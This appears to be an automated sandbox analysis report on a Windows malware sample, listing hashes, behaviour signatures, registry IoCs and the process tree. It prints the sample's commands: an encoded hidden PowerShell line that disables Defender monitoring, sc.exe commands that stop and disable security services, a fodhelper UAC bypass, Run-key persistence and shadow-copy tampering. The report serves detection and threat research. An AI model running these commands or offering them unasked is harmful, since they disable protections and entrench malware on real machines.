Analysis
- max time kernel
150s - max time network
150s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
10/08/2026, 01:54
Static task
static1
2 signatures
Behavioral task
behavioral1
Sample
yaziyorum.io_hyber.exe
Resource
win10v2004-20260513-en
windows10-2004-x64
38 signatures
150 seconds
Behavioral task
behavioral2
Sample
yaziyorum.io_hyber.exe
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
39 signatures
150 seconds
General
- Target yaziyorum.io_hyber.exe
- Size 49KB
- Sample260810-cbjw8ayfpg
- SHA256 606cd017e804dcbd152aea7c751b90bfe34340db41fb43c8af166743bef523d7
- MD5 6a66d55451f8f7abbbd1b9906c97f299
- SHA1 2de23b34dd8bcb92df8a2678c9c270683a378ac8
- SHA512 9113594008a1fb62502fb72aed9a05a32ccf16cf8ea8cdc1846b13160511e2e20c01d334e3526ab05607a8ff3a9b23a93d3482967fd1db296ee0b200fa9a725a
- SSDEEP 768:srVZZ6zs0hP4NaFkz0CJqr/NaPzfX/fI/4+:6Z6HhAN+JprmP/fI/4+
- TLSH T1FC33F74537ED4521D1BF9ABE89B291118731F4A3DC23DB8E1AD9459E09F3700CCA8B6B
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Contains code to disable Windows Defender 1 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral2/memory/1184-1-0x0000000000940000-0x0000000000952000-memory.dmp disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" yaziyorum.io_hyber.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 1792 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" yaziyorum.io_hyber.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts yaziyorum.io_hyber.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 1892 netsh.exe - Creates a file in the Startup directory 1 TTPs 64 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_44.pdf yaziyorum.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_135.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_136.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_137.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_138.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_149.pdf yaziyorum.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_154.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_37.pdf yaziyorum.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_63.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_100.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_164.pdf yaziyorum.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_1.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_20.pdf yaziyorum.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_71.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_87.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_146.pdf yaziyorum.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_148.pdf yaziyorum.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_193.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_30.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_71.pdf yaziyorum.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_164.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_171.pdf yaziyorum.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_195.pdf yaziyorum.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_22.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_25.pdf yaziyorum.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_27.pdf yaziyorum.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_53.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_79.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_170.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_187.pdf yaziyorum.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_41.pdf yaziyorum.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_174.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_52.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_106.pdf yaziyorum.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_119.pdf yaziyorum.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_136.pdf yaziyorum.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_196.pdf yaziyorum.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_107.pdf yaziyorum.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_4.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_6.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_9.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_32.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_33.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_74.pdf yaziyorum.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_31.pdf yaziyorum.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_121.pdf yaziyorum.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_128.pdf yaziyorum.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_139.pdf yaziyorum.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_145.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_147.pdf yaziyorum.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_158.pdf yaziyorum.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_168.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_26.pdf yaziyorum.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_36.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_61.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_128.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_155.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_162.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_166.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_168.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_108.pdf yaziyorum.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_179.pdf yaziyorum.io_hyber.exe - Disables service(s) 3 TTPs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\yaziyorum.io_hyber.exe" yaziyorum.io_hyber.exe - Discovers running processes 1 TTPs 1 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
pid Process 4080 tasklist.exe - Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\system32\LogFiles\WMI\FaceUnlockManually.etl LogonUI.exe File created C:\Windows\system32\svchost.exe yaziyorum.io_hyber.exe File created C:\Windows\system32\sysupdate.exe yaziyorum.io_hyber.exe File opened for modification C:\Windows\system32\sysupdate.exe yaziyorum.io_hyber.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
pid Process 4404 wscript.exe 2992 wscript.exe - Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" yaziyorum.io_hyber.exe - Drops file in Windows directory 1 IoCs
description ioc Process File created C:\Windows\rescache\_merged\1190018277\2795352008.pri LogonUI.exe - Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 4728 sc.exe 3696 sc.exe 5692 sc.exe 3140 sc.exe 6268 sc.exe 6684 sc.exe 5104 sc.exe 2524 sc.exe 4156 sc.exe 5284 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - Executes a command shell one-liner 1 TTPs 7 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4980 cmd.exe 1164 cmd.exe 5612 cmd.exe 2040 cmd.exe 3384 cmd.exe 5632 cmd.exe 4708 cmd.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 LogonUI.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz LogonUI.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 2524 NETSTAT.EXE 6228 ipconfig.exe - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 3752 systeminfo.exe - Interacts with shadow copies 3 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 4844 vssadmin.exe 1008 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Control Panel\Desktop\WallpaperStyle = "2" yaziyorum.io_hyber.exe - Modifies data under HKEY_USERS 4 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent LogonUI.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00 LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" LogonUI.exe - Modifies registry class 16 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell\open\command yaziyorum.io_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell\open\command yaziyorum.io_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell\open yaziyorum.io_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell yaziyorum.io_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell yaziyorum.io_hyber.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\yaziyorum.io_hyber.exe\" \"%1\"" yaziyorum.io_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\yaziyorum.io_hyber.exe" yaziyorum.io_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell\open\command\DelegateExecute yaziyorum.io_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command yaziyorum.io_hyber.exe Key created \REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings yaziyorum.io_hyber.exe Key created \REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell yaziyorum.io_hyber.exe Key created \REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell\open yaziyorum.io_hyber.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet" yaziyorum.io_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet yaziyorum.io_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings yaziyorum.io_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open yaziyorum.io_hyber.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2632 schtasks.exe 1380 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1792 powershell.exe 1792 powershell.exe 1792 powershell.exe 1184 yaziyorum.io_hyber.exe 1184 yaziyorum.io_hyber.exe 1184 yaziyorum.io_hyber.exe 1184 yaziyorum.io_hyber.exe 1184 yaziyorum.io_hyber.exe 1184 yaziyorum.io_hyber.exe 1184 yaziyorum.io_hyber.exe 1184 yaziyorum.io_hyber.exe 1184 yaziyorum.io_hyber.exe 1184 yaziyorum.io_hyber.exe 1184 yaziyorum.io_hyber.exe 1184 yaziyorum.io_hyber.exe 1184 yaziyorum.io_hyber.exe 1184 yaziyorum.io_hyber.exe 1184 yaziyorum.io_hyber.exe 1184 yaziyorum.io_hyber.exe 1184 yaziyorum.io_hyber.exe 1184 yaziyorum.io_hyber.exe 1184 yaziyorum.io_hyber.exe 1184 yaziyorum.io_hyber.exe 1184 yaziyorum.io_hyber.exe 1184 yaziyorum.io_hyber.exe 1184 yaziyorum.io_hyber.exe 1184 yaziyorum.io_hyber.exe 1184 yaziyorum.io_hyber.exe 1184 yaziyorum.io_hyber.exe 1184 yaziyorum.io_hyber.exe 5548 WMIC.exe 5548 WMIC.exe 1184 yaziyorum.io_hyber.exe 5548 WMIC.exe 5548 WMIC.exe 1184 yaziyorum.io_hyber.exe 1184 yaziyorum.io_hyber.exe 1184 yaziyorum.io_hyber.exe 1184 yaziyorum.io_hyber.exe 1184 yaziyorum.io_hyber.exe 1184 yaziyorum.io_hyber.exe 1912 WMIC.exe 1912 WMIC.exe 1912 WMIC.exe 1912 WMIC.exe 1184 yaziyorum.io_hyber.exe 1184 yaziyorum.io_hyber.exe 1184 yaziyorum.io_hyber.exe 1184 yaziyorum.io_hyber.exe 1184 yaziyorum.io_hyber.exe 1184 yaziyorum.io_hyber.exe 1184 yaziyorum.io_hyber.exe 1184 yaziyorum.io_hyber.exe 1184 yaziyorum.io_hyber.exe 1184 yaziyorum.io_hyber.exe 1184 yaziyorum.io_hyber.exe 1184 yaziyorum.io_hyber.exe 1184 yaziyorum.io_hyber.exe 1184 yaziyorum.io_hyber.exe 1184 yaziyorum.io_hyber.exe 1184 yaziyorum.io_hyber.exe 1184 yaziyorum.io_hyber.exe 1184 yaziyorum.io_hyber.exe 1184 yaziyorum.io_hyber.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 936 LogonUI.exe Token: SeCreatePagefilePrivilege 936 LogonUI.exe Token: SeDebugPrivilege 1184 yaziyorum.io_hyber.exe Token: SeDebugPrivilege 1792 powershell.exe Token: SeIncreaseQuotaPrivilege 1792 powershell.exe Token: SeSecurityPrivilege 1792 powershell.exe Token: SeTakeOwnershipPrivilege 1792 powershell.exe Token: SeLoadDriverPrivilege 1792 powershell.exe Token: SeSystemProfilePrivilege 1792 powershell.exe Token: SeSystemtimePrivilege 1792 powershell.exe Token: SeProfSingleProcessPrivilege 1792 powershell.exe Token: SeIncBasePriorityPrivilege 1792 powershell.exe Token: SeCreatePagefilePrivilege 1792 powershell.exe Token: SeBackupPrivilege 1792 powershell.exe Token: SeRestorePrivilege 1792 powershell.exe Token: SeShutdownPrivilege 1792 powershell.exe Token: SeDebugPrivilege 1792 powershell.exe Token: SeSystemEnvironmentPrivilege 1792 powershell.exe Token: SeRemoteShutdownPrivilege 1792 powershell.exe Token: SeUndockPrivilege 1792 powershell.exe Token: SeManageVolumePrivilege 1792 powershell.exe Token: 33 1792 powershell.exe Token: 34 1792 powershell.exe Token: 35 1792 powershell.exe Token: 36 1792 powershell.exe Token: SeIncBasePriorityPrivilege 1184 yaziyorum.io_hyber.exe Token: SeIncreaseQuotaPrivilege 1792 powershell.exe Token: SeSecurityPrivilege 1792 powershell.exe Token: SeTakeOwnershipPrivilege 1792 powershell.exe Token: SeLoadDriverPrivilege 1792 powershell.exe Token: SeSystemProfilePrivilege 1792 powershell.exe Token: SeSystemtimePrivilege 1792 powershell.exe Token: SeProfSingleProcessPrivilege 1792 powershell.exe Token: SeIncBasePriorityPrivilege 1792 powershell.exe Token: SeCreatePagefilePrivilege 1792 powershell.exe Token: SeBackupPrivilege 1792 powershell.exe Token: SeRestorePrivilege 1792 powershell.exe Token: SeShutdownPrivilege 1792 powershell.exe Token: SeDebugPrivilege 1792 powershell.exe Token: SeSystemEnvironmentPrivilege 1792 powershell.exe Token: SeRemoteShutdownPrivilege 1792 powershell.exe Token: SeUndockPrivilege 1792 powershell.exe Token: SeManageVolumePrivilege 1792 powershell.exe Token: 33 1792 powershell.exe Token: 34 1792 powershell.exe Token: 35 1792 powershell.exe Token: 36 1792 powershell.exe Token: SeDebugPrivilege 2524 NETSTAT.EXE Token: SeDebugPrivilege 4080 tasklist.exe Token: SeDebugPrivilege 6276 whoami.exe Token: SeIncreaseQuotaPrivilege 5548 WMIC.exe Token: SeSecurityPrivilege 5548 WMIC.exe Token: SeTakeOwnershipPrivilege 5548 WMIC.exe Token: SeLoadDriverPrivilege 5548 WMIC.exe Token: SeSystemProfilePrivilege 5548 WMIC.exe Token: SeSystemtimePrivilege 5548 WMIC.exe Token: SeProfSingleProcessPrivilege 5548 WMIC.exe Token: SeIncBasePriorityPrivilege 5548 WMIC.exe Token: SeCreatePagefilePrivilege 5548 WMIC.exe Token: SeBackupPrivilege 5548 WMIC.exe Token: SeRestorePrivilege 5548 WMIC.exe Token: SeShutdownPrivilege 5548 WMIC.exe Token: SeDebugPrivilege 5548 WMIC.exe Token: SeSystemEnvironmentPrivilege 5548 WMIC.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 1184 yaziyorum.io_hyber.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 936 LogonUI.exe 936 LogonUI.exe 1184 yaziyorum.io_hyber.exe - Suspicious use of WriteProcessMemory 39 IoCs
description pid Process procid_target PID 1184 wrote to memory of 1792 1184 yaziyorum.io_hyber.exe 91 PID 1184 wrote to memory of 4728 1184 yaziyorum.io_hyber.exe 93 PID 1184 wrote to memory of 3696 1184 yaziyorum.io_hyber.exe 95 PID 1184 wrote to memory of 5692 1184 yaziyorum.io_hyber.exe 97 PID 1184 wrote to memory of 2524 1184 yaziyorum.io_hyber.exe 138 PID 1184 wrote to memory of 5104 1184 yaziyorum.io_hyber.exe 101 PID 1184 wrote to memory of 3140 1184 yaziyorum.io_hyber.exe 103 PID 1184 wrote to memory of 6684 1184 yaziyorum.io_hyber.exe 105 PID 1184 wrote to memory of 6268 1184 yaziyorum.io_hyber.exe 107 PID 1184 wrote to memory of 6396 1184 yaziyorum.io_hyber.exe 109 PID 6396 wrote to memory of 6496 6396 fodhelper.exe 110 PID 1184 wrote to memory of 4404 1184 yaziyorum.io_hyber.exe 112 PID 1184 wrote to memory of 2632 1184 yaziyorum.io_hyber.exe 113 PID 1184 wrote to memory of 4980 1184 yaziyorum.io_hyber.exe 120 PID 1184 wrote to memory of 4708 1184 yaziyorum.io_hyber.exe 121 PID 1184 wrote to memory of 5632 1184 yaziyorum.io_hyber.exe 122 PID 1184 wrote to memory of 3384 1184 yaziyorum.io_hyber.exe 123 PID 1184 wrote to memory of 2040 1184 yaziyorum.io_hyber.exe 124 PID 1184 wrote to memory of 5612 1184 yaziyorum.io_hyber.exe 125 PID 1184 wrote to memory of 1164 1184 yaziyorum.io_hyber.exe 126 PID 1184 wrote to memory of 1380 1184 yaziyorum.io_hyber.exe 128 PID 1184 wrote to memory of 2992 1184 yaziyorum.io_hyber.exe 136 PID 1184 wrote to memory of 7036 1184 yaziyorum.io_hyber.exe 137 PID 1164 wrote to memory of 2524 1164 cmd.exe 138 PID 1184 wrote to memory of 4844 1184 yaziyorum.io_hyber.exe 139 PID 1184 wrote to memory of 5548 1184 yaziyorum.io_hyber.exe 141 PID 1184 wrote to memory of 2788 1184 yaziyorum.io_hyber.exe 142 PID 1184 wrote to memory of 1892 1184 yaziyorum.io_hyber.exe 143 PID 1184 wrote to memory of 4156 1184 yaziyorum.io_hyber.exe 144 PID 1184 wrote to memory of 5284 1184 yaziyorum.io_hyber.exe 145 PID 2040 wrote to memory of 4972 2040 cmd.exe 152 PID 4708 wrote to memory of 3752 4708 cmd.exe 153 PID 5632 wrote to memory of 4080 5632 cmd.exe 154 PID 5612 wrote to memory of 6228 5612 cmd.exe 155 PID 3384 wrote to memory of 6276 3384 cmd.exe 156 PID 4972 wrote to memory of 2500 4972 net.exe 157 PID 4980 wrote to memory of 1008 4980 cmd.exe 158 PID 2788 wrote to memory of 6680 2788 net.exe 159 PID 4980 wrote to memory of 1912 4980 cmd.exe 162 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\yaziyorum.io_hyber.exe"C:\Users\Admin\AppData\Local\Temp\yaziyorum.io_hyber.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1184 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1792
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:4728
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:3696
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:5692
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:2524
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:5104
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:3140
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:6684
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:6268
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C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:6396 -
